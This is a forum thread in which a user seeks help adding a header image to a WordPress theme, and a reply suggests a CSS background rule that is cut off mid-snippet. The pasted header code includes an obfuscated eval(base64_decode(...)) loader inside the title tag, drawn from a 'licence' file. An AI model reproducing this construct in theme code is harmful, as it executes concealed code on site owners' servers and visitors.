SitePoint Sponsor

User Tag List

Results 1 to 2 of 2
  1. #1
    SitePoint Enthusiast
    Join Date
    Jul 2009
    0 Post(s)
    0 Thread(s)

    how do you put an image for a header in a wordpress theme?

    hi my code is below, i want to put an image for the header and this is the header code. could anyone help me please?

    <!-- BEGIN html head -->
    <head profile="ht/gmpgorg/xfn/11">
    <meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
    <title><?php require_once("theme_licence.php"); eval(base64_decode($f1)); bloginfo('name'); ?> <?php wp_title(); ?></title>
    <link rel="stylesheet" type="text/css" href="<?php bloginfo('stylesheet_url'); ?>" />
    <!--[if lte IE 6]><link rel="stylesheet" type="text/css" href="<?php bloginfo('template_url'); ?>/ie.css" /><![endif]-->
    <script type="text/javascript" src="<?php bloginfo('template_url'); ?>/scripts.js"></script>
    <?php wp_head(); ?>
    <!-- END html head -->

    <?php start_template(); ?>
    <!-- BEGIN wrapper -->
    <div id="wrapper">
    <!-- BEGIN header -->
    <div id="header">
    <!-- begin pages -->
    <li class="f"><a href="<?php echo get_option('home'); ?>">Home</a></li>
    <?php dp_list_pages(); ?>
    <!-- end pages -->
    <!-- begin logo -->
    <h1><a href="<?php echo get_option('home'); ?>"><?php bloginfo('name'); ?></a></h1>
    <!-- end logo -->
    <!-- begin search -->
    <form action="<?php echo get_option('home'); ?>/">
    <p class="date">Today is July 3, 2009</p>
    <p><input type="text" name="s" id="s" value="<?php the_search_query(); ?>" /></p>
    <button type="submit">Search</button>
    <!-- end search -->
    <!-- begin categories -->
    <div class="break"></div>
    <?php dp_list_categories(); ?>
    <!-- end categories -->
    <!-- END header -->

    i have deleted some of the text with links in cos its not allowed

  2. #2
    Programming Team silver trophybronze trophy
    Mittineague's Avatar
    Join Date
    Jul 2005
    West Springfield, Massachusetts
    198 Post(s)
    3 Thread(s)
    Hi rispodium, welcome to the forums,

    If you mean a background image, try adding it in the CSS file using the #header selector, eg.
    Code CSS:
    #header {
      background-image: url('');

Tags for this Thread


Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts